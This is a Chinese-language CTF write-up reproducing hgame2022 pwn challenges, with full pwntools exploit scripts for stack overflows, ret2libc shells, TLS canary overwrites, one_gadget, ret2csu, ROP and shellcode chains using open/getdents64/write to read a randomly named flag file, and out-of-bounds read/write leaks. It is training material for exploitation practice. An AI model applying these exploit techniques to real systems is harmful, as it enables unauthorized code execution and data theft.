enter the pwn land
pthread_create()函数:创建线程
int pthread_create(pthread_t *thread,
const pthread_attr_t *attr,
void *(*start_routine) (void *),
void *arg);
各个参数的含义是:
\1) pthread_t *thread:传递一个 pthread_t 类型的指针变量,也可以直接传递某个 pthread_t 类型变量的地址。pthread_t 是一种用于表示线程的数据类型,每一个 pthread_t 类型的变量都可以表示一个线程。
\2) const pthread_attr_t *attr:用于手动设置新建线程的属性,例如线程的调用策略、线程所能使用的栈内存的大小等。大部分场景中,我们都不需要手动修改线程的属性,将 attr 参数赋值为 NULL,pthread_create() 函数会采用系统默认的属性值创建线程。
\3) void (start_routine) (void ):以函数指针的方式指明新建线程需要执行的函数,该函数的参数最多有 1 个(可以省略不写),形参和返回值的类型都必须为 void 类型。void* 类型又称空指针类型,表明指针所指数据的类型是未知的。使用此类型指针时,我们通常需要先对其进行强制类型转换,然后才能正常访问指针指向的数据。
\4) void *arg:指定传递给 start_routine 函数的实参,当不需要传递任何数据时,将 arg 赋值为 NULL 即可。
pthread_join()函数:
以阻塞的方式等待thread指定的线程结束。 当函数返回时,被等待线程的资源被收回。 如果线程已经结束,那么该函数会立即返回
在这道题里,我们主要看的是pthread_create(&newthread, 0LL, test_thread, 0LL)
它生成了一个线程去执行test_thread函数:
在GDB中s步入到read后,我们查看栈上
可以发现一个栈地址0x7ffff7d95700和其他地址的偏移是固定的
可以通过地址来获取其他地址,进而通过偏移获取libc基址
libc_start_main = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x0A + 0x27890
li('libc_start_main = '+hex(libc_start_main))
libc = libc_start_main - libc.symbols['__libc_start_main']
li('libc = '+hex(libc))
其实也没必要那么麻烦,直接算也行
libcs = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) + 0x38f6
又或者因为本题没开FULL RELRO,利用puts的got表泄露栈地址也是可行的
pay=b'a'*(0x30-0x4)
pay+=p32(0x30-0x4)
pay+=b's'*8
pay+=p64(pop_rdi_ret)
pay+=p64(puts_got)
pay+=p64(puts_plt)
pay+=p64(main_addr)
p.sendline(pay)
p.recvline()
puts_addr=u64(p.recvuntil('\n', drop=True).ljust(8, b'\x00'))
li(hex(puts_addr))
var_4是变量i在栈中的偏移,如果直接覆盖,会对i的值有所影响,后果就是要么i的值大于4095提前结束,要么覆盖到一个很远的位置,需要注意一下
exp:
#encoding = utf-8
from pwn import *
import os
import sys
import time
#from ae64 import AE64
#from LibcSearcher import *
context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"
name = './pwn'
debug = 0
if debug:
p = remote('39.99.242.16',10002)
else:
p = process(name)
libcso = '/lib/x86_64-linux-gnu/libc.so.6'
#libc_name = ''
libc = ELF(libcso)
context.terminal = ['gnome-terminal','-x','sh','-c']
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
add_idx = 1
delete_idx = 2
show_idx = 4
edit_idx = 3
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
'''
pl = b'a'*0x37+b'b'
p.sendline(pl)
p.send('\n')
libc = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x0a + ...
li('libc = '+hex(libc))
'''
pl = b'a'*32 + b'\x0a'
p.send(pl)
libc_start_main = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x0A + 0x27890
li('libc_start_main = '+hex(libc_start_main))
libc = libc_start_main - libc.symbols['__libc_start_main']
li('libc = '+hex(libc))
sys = libc + 0x52290
li('sys = '+hex(sys))
bin_sh = libc + 0x00000000001b45bd #libc.search('/bin/sh').next()
li('bin_sh = '+hex(bin_sh))
pop_rdi_ret = 0x401313
ret = 0x40101a
test_thread = 0x4011b6
pl = b'a'*(0x30-0x4)+p32(0x30-0x4)+b'a'*8
pl += p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(sys)
'''
pl = b'a'*0x28 + p32(1) + p32(0x2c) + b'a'*8
pl += p64(pop_rdi_ret+1) + p64(pop_rdi_ret) + p64(bin_sh) + p64(sys)
'''
p.sendline(pl)
p.recv()
p.interactive()
'''
def pwn():
if __name__ == '__main__':
pwn()
'''
#print('========================================================================================')
'''
pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
pop_rdx_ret = libc_base + libc.search(asm('pop rdx;ret;')).__next__()
pop_rdx12_ret = libc_base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()
leave_ret = libc_base + libc.search(asm('leave;ret;')).__next__()
bin_sh = libc + libc.search('/bin/sh').next()
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
gadget = libc_base + libc.sym['svcudp_reply'] + 0x1a
li('gadget = '+hex(gadget))
'''
'''
mov rbp,QWORD PTR [rdi+0x48]
mov rax,QWORD PTR [rbp+0x18]
lea r13,[rbp+0x10]
mov DWORD PTR [rbp+0x10],0x0
mov rdi,r13
call QWORD PTR [rax+0x28]
'''
#print('========================================================================================')
'''
def ret2libc_leak(main,got,plt,offset):
if x64_32:
payload = b'a'*offset + b'b'*8 + p64(rdi) + p64(got) + p64(plt) + p64(main)
else:
payload = b'a'*offset + b'b'*4 + p32(plt) + p32(main) + p32(got)
return payload
def fmt_w(flag,num,offset):
if flag==2:
payload = b'%' + str(num) + b'c' + b'%' + str(offset) + b'$hn'
elif flag==1:
payload = b'%' + str(num) + b'c' + b'%' + str(offset) + b'$hhn'
'''
#print('========================================================================================')
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
#print('========================================================================================')
'''
def dbg(cmd=''):
os.system('tmux set mouse on')
context.terminal = ['gnome-terminal','-x','sh','-c']
gdb.attach(p,cmd)
pause()
command = 'b *'+ str(hex(gadget))+'\n'
dbg(command)
'''
#print('========================================================================================')
enter_the_evil_pwn_land
相比前一题多开了一个canary
一开始想先通过低位覆盖先泄露出canary的值
pl = b'a'*0x28
p.sendline(pl)
p.recvuntil('\x0a')
canary = u64(b'\x00'+p.recv()[:7])
li('canary = '+hex(canary))
但问题是它在read后没有下一次输入的回手,导致我们下面无法再进行布局
而这个题显然又是无法爆破canary
但这里的read可以进行一个很大的溢出
1ULL:表示1是unsigned long long 类型(64位系统占8byte,64位)
1UL:表示1是unsigned long 类型(64位系统占8byte,64位)
1L:表示1是long 类型(64位系统占8byte,64位)
unsigned long 0~4294967295
long 2147483648~2147483647
unsigned long long:0~1844674407370955161
那就可以利用TSL(线程局部存储)攻击来改写canary
offset = 200
while True:
p = process('./pwn')
payload = b'a'*0x30
payload += p64(0xdeadbeef)
payload += p64(test_thread)
payload += b'a'*(offset-len(payload)-1)
p.sendline(payload)
temp = p.recvall()
if b"*** stack smashing detected ***: terminated\n" in temp:
offset += 1
p.close()
else:
p.close()
break
爆到了2161吗,那么其偏移为2160
i跑上面去了,这个坑没有就不用考虑了
main = 0x4012a3
test_thread = 0x4011D6
offset = 2160 #0x870
pop_r12_ret = 0x40135c
pl = b'a'*32
p.sendline(pl)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0xa+0x3900
li('libc_base = '+hex(libc_base))
og送入
ogs = [0xe3afe,0xe3b01,0xe3b04]
ogs = [x + libc.address for x in ogs]
og = libc_base+ogs[0]
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
li('one_gadget = '+hex(og))
pl = b'a'*0x38
pl += p64(pop_r12_ret)
pl += p64(0)*4
pl += p64(og)
pl += b'a'*(offset-len(pl))
p.sendline(pl)
oldfashion orw
存在一个整形溢出
p.sendlineafter('size?\n','-1')
获取栈地址:
write的got表和plt表:
pl = b'a'*0x38+p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_r15_ret)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_addr)
pwnlib.rop:
碰见了pwntools一个有趣的用法
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
rop=ROP(elf)
rop.write(1,elf.got["write"])
for i in range(0x90//6):
rop.read(0,elf.bss(i*6))
rop.migrate(elf.bss())
p.sendafter("content?\n",b"\x00"*0x38+rop.chain())
csu:
与之前汇编不同的是原来r12的位置变成了r15
def csu(rbx, rbp, r12, r13, r14, r15, last):
#csu(rbx, rbp, rdi, rsi, rdx, got, last)
payload = 'a'*0x30+'b'*0x8
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)
sleep(1)
ctfwiki:
csu(0, 1, write_got, 0x8, write_got, 1, main_addr)
# write(1,write_got,8)
正序r14->r13->r12 ->r15:
csu(rbx, rbp, r12, r13, r14, r15, last)
r12 -> 1
r13 -> write_got
r14 -> 0x8
r15 -> write_got
csu(1, write_got, 0x8, write_got)
shellcode:
def csu(r12, r13, r14, r15):
payload= p64(gadgets1) #gadget1
payload+= b'b'*8
payload+= p64(0) #rbx
payload+= p64(1) #rbp
payload+= p64(r12) #r12 - 要使用的函数
payload+= p64(r13) # rdx - 参数1
payload+= p64(r14) # rsi - 参数2
payload+= p64(r15) # edi - 参数3
payload+= p64(gadgets2) #gadget2
payload += b'c' * 0x38
#return payload
#注:上面加上return payload即可
pl = b'a'*0x38 + csu(1,write_got,8,write_got) + p64(main_addr)
弹了次can't concat NoneType to bytes
和'NoneType' object has no attribute 'encode'
def csu(r12, r13, r14, r15):
payload = b'a'*0x38
payload+= p64(gadgets1) #gadget1
payload+= b'b'*8
payload+= p64(0) #rbx
payload+= p64(1) #rbp
payload+= p64(r12) #r12 - 要使用的函数
payload+= p64(r13) # rdx - 参数1
payload+= p64(r14) # rsi - 参数2
payload+= p64(r15) # edi - 参数3
payload+= p64(gadgets2) #gadget2
payload+= b'c' * 0x38
payload+= p64(main_addr)
p.sendline(payload)
csu(1,write_got,8,write_got)
我们获取libc基址后,便可得到系统调用syscall,下面就可以根据调用号开始构造函数
32位系统调用(shell):
eax:设置为系统调用号(0xb)
ebx:设置为第一个参数(/bin/sh字符串地址)
ecx:设置为第二个参数(0)
edx:设置为第三个参数(0)
64位系统调用(shell):
rax:(0x3b)
rdi:(/bin/sh)
rsi:(0)
rdx:(0)
OGW: 是对使用open、getdents64、write函数(或系统调用)将目录中的文件名读入指定区域的简称
由于我是对NSSCTF收录的18版本的oldfashion orw进行复现,所以这道题和原版的20版本的oldfashion orw有些差距,同时还缺少了一个提示性文件:
#!/bin/bash
rm /home/ctf/flag*
cp /flag "/home/ctf/flag`head /dev/urandom |cksum |md5sum |cut -c 1-20`"
cd /home/ctf
exec 2>/dev/null
/usr/sbin/chroot --userspec=1000:1000 /home/ctf timeout 300 ./vuln
可以看到flag文件后面跟了长度20的随机字符串,也就是说我们没办法通过传统orw方式读取flag,需要得知存放flag文件的文件名
这时候可以利用getdents64
函数来获取目录下的文件
参数一:fd指针
参数二:写入的内存区域
参数三:4096
功能:把当前文件目录下的文件名写入参数二指向的内存区域
ls命令是怎样实现的,getdents64,linux-2.6.27.5
”字符串“本质上是一个地址,open和getdents64函数的目录参数也是地址
我们需要在其中构造2次read函数来读取放入bss段的flag文件名
def sys(p,a1,a2,a3):
pl = p64(pop_rax_ret) +p64(p) +p64(pop_rdi_ret) +p64(a1) +p64(pop_rsi_ret) +p64(a2) +p64(pop_rdx12_ret) +p64(a3) +p64(0) +p64(syscall)
return pl
#OGW
ROP = csu(0,bss+0x30,4,read_got) #read(bss+0x30,4,0) first-read('./')
ROP += sys(2,bss+0x30,0,0) #open(bss+0x30,0,0)
ROP += sys(217,3,bss+0x100,4096) #getdents64(3,bss+0x100,4096)
ROP += csu(1,bss+0x100,200,write_got) #write(bss+0x100,200,1)
这里核心是getdents64系统调用,它读取目录文件中的一个个目录项(directory entry)并返回
我们首先在bss+0x30构造了第一个read用于下面读取'./',ogw实现将getdents64读取的目录参数读入bss+0x100,再打印出来
ROP += csu(0,bss+0x30,0x30,read_got) #read(bss+0x30,0x30,0) second-read('flag16db44a3ec6a5c404373')
ROP += sys(2,bss+0x30,0,0) #open(bss+0x30,0,0)
ROP += csu(3,bss+0x200,0x60,read_got) #read(bss+0x200,0x60,3)
ROP += csu(1,bss+0x200,0x60,write_got) #write(bss+0x200,0x60,1)
接受到flag文件名后我们便可以通过第二个read输入'flag16db44a3ec6a5c404373'构成 './flag16db44a3ec6a5c404373' ,然后通过orw读写放入bss+0x200段的flag文件的内容
payload = b'a'*0x38 + ROP + p64(0)
p.sendline(payload)
p.recvuntil('done!\n')
#dbg()
p.send('./') #first-read
p.recvuntil('flag')
string=p.recv(20)
string='flag'+string
li(hex(string))
p.send(string) #second-read
p.interactive()
exp:
main_addr = 0x401311
write_got = elf.got['write']
write_plt = elf.plt['write']
pop_rdi_ret = 0x401443
pop_rsi_r15_ret = 0x401441
p.sendlineafter('size?\n','-1')
gadgets2 = 0x401420
gadgets1 = 0x401436
def csu(r12, r13, r14, r15):
payload= p64(gadgets1) #gadget1
payload+= b'b'*8
payload+= p64(0) #rbx
payload+= p64(1) #rbp
payload+= p64(r12) #r12 - 要使用的函数
payload+= p64(r13) # rdx - 参数1
payload+= p64(r14) # rsi - 参数2
payload+= p64(r15) # edi - 参数3
payload+= p64(gadgets2) #gadget2
payload+= b'c' * 0x38
return payload
pl = b'a'*0x38 + csu(1,write_got,8,write_got) + p64(main_addr)
p.sendline(pl)
'''
p.sendafter("content?\n",b"\x00"*0x38+rop.chain())
p.recvuntil('done!\n')
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x10E060
li('libc_base = '+hex(libc_base))
'''
'''
pl = b'a'*0x38+p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_r15_ret)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_addr)
p.sendlineafter('content?\n',pl)
'''
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.symbols['write'] #- 0x10E060
li('libc_base = '+hex(libc_base))
read_got = elf.got['read']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
pop_rax_ret = libc_base + libc.search(asm('pop rax;ret;')).__next__()
pop_rdx_ret = libc_base + libc.search(asm('pop rdx;ret;')).__next__()
pop_rdx12_ret = libc_base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()
leave_ret = libc_base + libc.search(asm('leave;ret;')).__next__()
syscall = libc_base + libc.sym['syscall'] #0x000000000002284d
#li(hex(syscall))
#print('==================================ogw&orw=====================================')
def sys(p,a1,a2,a3):
pl = p64(pop_rax_ret) +p64(p) +p64(pop_rdi_ret) +p64(a1) +p64(pop_rsi_ret) +p64(a2) +p64(pop_rdx12_ret) +p64(a3) +p64(0) +p64(syscall)
return pl
p.recvuntil('size?\n')
p.sendline('-1')
p.recvuntil('content?\n')
#OGW
ROP = csu(0,bss+0x30,4,read_got) #read(bss+0x30,4,0) first-read('./')
ROP += sys(2,bss+0x30,0,0) #open(bss+0x30,0,0)
ROP += sys(217,3,bss+0x100,4096) #getdents64(3,bss+0x100,4096)
ROP += csu(1,bss+0x100,200,write_got) #write(bss+0x100,200,1)
#ORW
ROP += csu(0,bss+0x30,0x30,read_got) #read(bss+0x30,0x30,0) second-read('flag16db44a3ec6a5c404373')
ROP += sys(2,bss+0x30,0,0) #open(bss+0x30,0,0)
ROP += csu(3,bss+0x200,0x60,read_got) #read(bss+0x200,0x60,3)
ROP += csu(1,bss+0x200,0x60,write_got) #write(bss+0x200,0x60,1)
payload = b'a'*0x38 + ROP + p64(0)
p.sendline(payload)
p.recvuntil('done!\n')
#dbg()
p.send('./') #first-read
p.recvuntil('flag')
string=p.recv(20)
string='flag'+string
li(hex(string))
p.send(string) #second-read
p.interactive()
上面exp有点麻烦,当时也没打出来
今天重新过一下这道题调出来了
#1 write(1,write_addr,0x6)
p.sendlineafter('size?\n','-1')
pl = b'a'*0x38+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main)
p.sendline(pl)
#2 mproject(bss,0x1000,7)
p.sendlineafter('size?\n','-1')
pl = b'a'*0x38+p64(rdi)+p64(bss)+p64(rsi_r15)+p64(0x1000)+p64(0)+p64(rdx)+p64(7)+p64(mprotect)+p64(main)
p.sendline(pl)
#3 read(0,bss+0x200,0x100)
p.sendlineafter('size?\n','-1')
pl = b'a'*0x38+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss+0x200)+p64(0)+p64(rdx)+p64(0x100)+p64(read_addr)+p64(main)
dbg()
p.send(pl)
#.4 OGW
shellcode = b''
shellcode += asm(shellcraft.open('./'))
shellcode += asm(shellcraft.getdents64(3, bss+0x300, 0x100))
shellcode += asm(shellcraft.write(1,bss+0x300, 0x100))
shellcode += asm('''
mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
''' % (main))
p.send(shellcode)
p.recvuntil('flag')
flag20 = b'flag'+p.recv(20)
print(flag20) #flag16db44a3ec6a5c404373
#5 read(0,bss+0x400,0x100)
p.sendline('-1')
pl = b'a'*0x38+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss+0x400)+p64(0)+p64(rdx)+p64(0x100)+p64(read_addr)+p64(bss+0x400)
dbg()
p.send(pl)
shellcode = b''
shellcode += asm(shellcraft.open('./flag16db44a3ec6a5c404373'))
shellcode += asm(shellcraft.read(0,bss+0x600,0x100))
shellcode += asm(shellcraft.write(1,bss+0x600,0x100))
shellcode += asm('''
mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
''' % (main))
p.send(shellcode)
exp2:
rdi=0x0000000000401443
rsi_r15=0x0000000000401441
ret=0x000000000040101a
bss=0x404000
main = 0x401311
write_got = elf.got['write']
write_plt = elf.plt['write']
#1 write(1,write_addr,0x6)
p.sendlineafter('size?\n','-1')
pl = b'a'*0x38+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main)
p.send(pl)
libc_base = uu64(p.recvuntil('\x7f')[-6:])-libc.sym['write']
li(hex(libc_base))
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
syscall = libc_base + libc.sym['syscall']
sys = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
mprotect = libc_base+libc.sym['mprotect']
rdx = libc_base + 0x0000000000142c92
#2 mproject(bss,0x1000,7)
p.sendlineafter('size?\n','-1')
pl = b'a'*0x38+p64(rdi)+p64(bss)+p64(rsi_r15)+p64(0x1000)+p64(0)+p64(rdx)+p64(7)+p64(mprotect)+p64(main)
p.send(pl)
#3 read(0,bss+0x200,0x100)
p.sendlineafter('size?\n','-1')
pl = b'a'*0x38+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss+0x200)+p64(0)+p64(rdx)+p64(0x100)+p64(read_addr)+p64(bss+0x200)
p.send(pl)
p.recv()
#.4 OGW
shellcode = b''
shellcode += asm(shellcraft.open('./'))
shellcode += asm(shellcraft.getdents64(3, bss+0x300, 0x100))
shellcode += asm(shellcraft.write(1,bss+0x300, 0x100))
shellcode += asm('''
mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
''' % (main))
p.send(shellcode)
p.recvuntil('flag')
flag20 = b'flag'+p.recv(20)
print(flag20) #flag16db44a3ec6a5c404373
#5 read(0,bss+0x400,0x100)
p.sendline('-1')
pl = b'a'*0x38+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss+0x400)+p64(0)+p64(rdx)+p64(0x100)+p64(read_addr)+p64(bss+0x400)
p.send(pl)
#6 ORW
p.recvuntil('done!\n')
shellcode = b''
shellcode += asm(shellcraft.open('flag16db44a3ec6a5c404373'))
shellcode += asm(shellcraft.read(4,bss+0x600,0x100))
shellcode += asm(shellcraft.write(1,bss+0x600,0x100))
shellcode += asm('''
mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
''' % (main))
dbg()
p.send(shellcode)
itr()
ser_per_fa
保护全开
整体是一个spfa算法的程序,有后门但需要进程基址
SPFA算法 - SHHHS - 博客园 (cnblogs.com)
最后printf dist[v6],而v6没有范围限制,可以给v6输入一个负数,实现任意读,泄露程序基址和libc基址
libc_base:
第一次得到的带有小数点,会导致我们下面无法正常进行
pl = str(-((elf.sym['dist']-elf.got['puts'])/8))
print(pl)
sla("how many datas?\n>> ",4)
sla("nodes?\n>> ",2)
sla("edges?\n>> ",0)
sla("node?\n>> ",0)
p.sendlineafter('to ?\n',pl)
pl1 = int((puts-dist)/8)
pl = int(-((elf.sym['dist']-elf.got['puts'])/8))
#int((elf.got['puts']-elf.sym['dist']/8))
print(pl)
sla("how many datas?\n>> ",4)
sla("nodes?\n>> ",2)
sla("edges?\n>> ",0)
sla("node?\n>> ",0)
p.sendlineafter('to ?\n',str(pl))
proc:
proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口
泄露进程的基地址
#proc
sla("nodes?\n>> ",2)
sla("edges?\n>> ",0)
sla("node?\n>> ",0)
proc = 0x6d28
pl = int((0x6d28-dist)/8)
p.sendlineafter('to ?\n',str(pl))
p.recvuntil('is ')
proc_base = int(p.recv(15)) - 0x12e0
li('proc_base = '+hex(proc_base))
stack:
通过environ泄露stack地址
#stack
sla("nodes?\n>> ",2)
sla("edges?\n>> ",0)
sla("node?\n>> ",0)
pl = int((libc_base + libc.sym['environ'] - (proc_base + elf.sym['dist']))/8)
li('environ = '+hex(libc_base + libc.sym['environ']))
p.sendlineafter('to ?\n',str(pl))
p.recvuntil('is ')
stack = int(p.recv(15))
li('stack = '+hex(stack))
接下来就是感觉最麻烦的地方了:
修改main_ret为back_door,在这一次循环结束后触发
ret_addr=str(int((stack-0x100-(proc_base+elf.sym['dist']))/8))
li('ret_addr = '+hex(int(ret_addr)))
sla("nodes?\n>> ",2)
sla("edges?\n>> ",1)
p.sendlineafter("format\n","0"+ret_addr+" "+str(proc_base+backdoor))
sla("node?\n>> ",0)
sla("to ?\n>> ",0)
首先找到ret位置
进入_add函数中,利用一次任意写
当写入很多组数据时,num_edge也会被覆写
覆写num_edge为合适的值,实现任意写(说实话,这里任意写没看懂哈啊)
利用这个来修改main_ret为back_door
但最麻烦的就是gdb这里会被对齐卡死动不了
断点到(main+576) ◂— ret看看,没有预想的backdoor
还会被卡住,怪得哈,等猫猫
经高
标签:p64,libc,ret,bss,hgame2022,payload,pl,复现 From: https://www.cnblogs.com/shuzM/p/16917813.html